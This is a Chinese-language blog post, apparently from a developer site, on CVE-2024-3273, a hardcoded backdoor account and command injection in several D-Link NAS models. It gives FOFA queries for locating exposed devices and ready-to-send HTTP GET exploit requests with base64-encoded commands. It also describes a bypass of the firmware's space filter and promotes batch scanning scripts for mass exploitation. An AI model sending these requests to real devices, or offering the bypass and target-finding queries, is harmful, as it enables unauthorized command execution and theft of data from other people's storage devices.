D-LinkNAS 远程命令执行漏洞(CVE-2024-3273)RCE漏

D-LinkNAS 远程命令执行漏洞(CVE-2024-3273)RCE漏

一、漏洞简介
D-Link NAS(Network Attached Storage,网络附加存储)是一种连接到计算机网络的存储设备,它允许在网络上的多个设备之间共享和存储数据。D-Link 是一家知名的网络设备制造商,提供各种类型的 NAS 解决方案,适用于家庭和企业用户。该漏洞的关键问题在于设备固件中存在一个硬编码的后门帐户。攻击者可以通过这个后门帐户在没有合法用户授权的情况下访问NAS设备,进而获取存储在设备中的敏感数据,或者在设备上执行任意操作。

二、影响版本
● D-Link DNS-320L
● D-Link DNS-325
● D-Link DNS-327L
在这里插入图片描述
三、资产测绘

fofa
语法1:“Text:In order to access the ShareCenter, please make sure you are using a recent browser(IE 7+, Firefox 3+, Safari 4+, Chrome 3+, Opera 10+)”
语法2:fid=“hWN+yVVhLzKJaLkd/ITHpA==”

四、漏洞复现

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.5
X-Originating-IP: 10.10.10.5
Priority: u=0, i

在这里插入图片描述
五、批量扫描
利用开源工具nucle编写脚本批量扫描:

六、检测规则绕过
当我们使用含有空格的命令,比如uname -a,cat /etc/passwd等时,空格会被过滤,命令无法执行成功。
通过对固件提取,逆向分析,找到检测规则代码,如下图:
在这里插入图片描述
通过对ls “空格” 进行如下字符替换绕过,再用base64编码即可绕过。
在这里插入图片描述

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=bHMJLw== HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 10.10.10.5
X-Originating-IP: 10.10.10.5
Priority: u=0, i

在这里插入图片描述
需要批量扫描脚本和固件的请前公众号“安全技术达人”并回复CVE-2024-3273

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值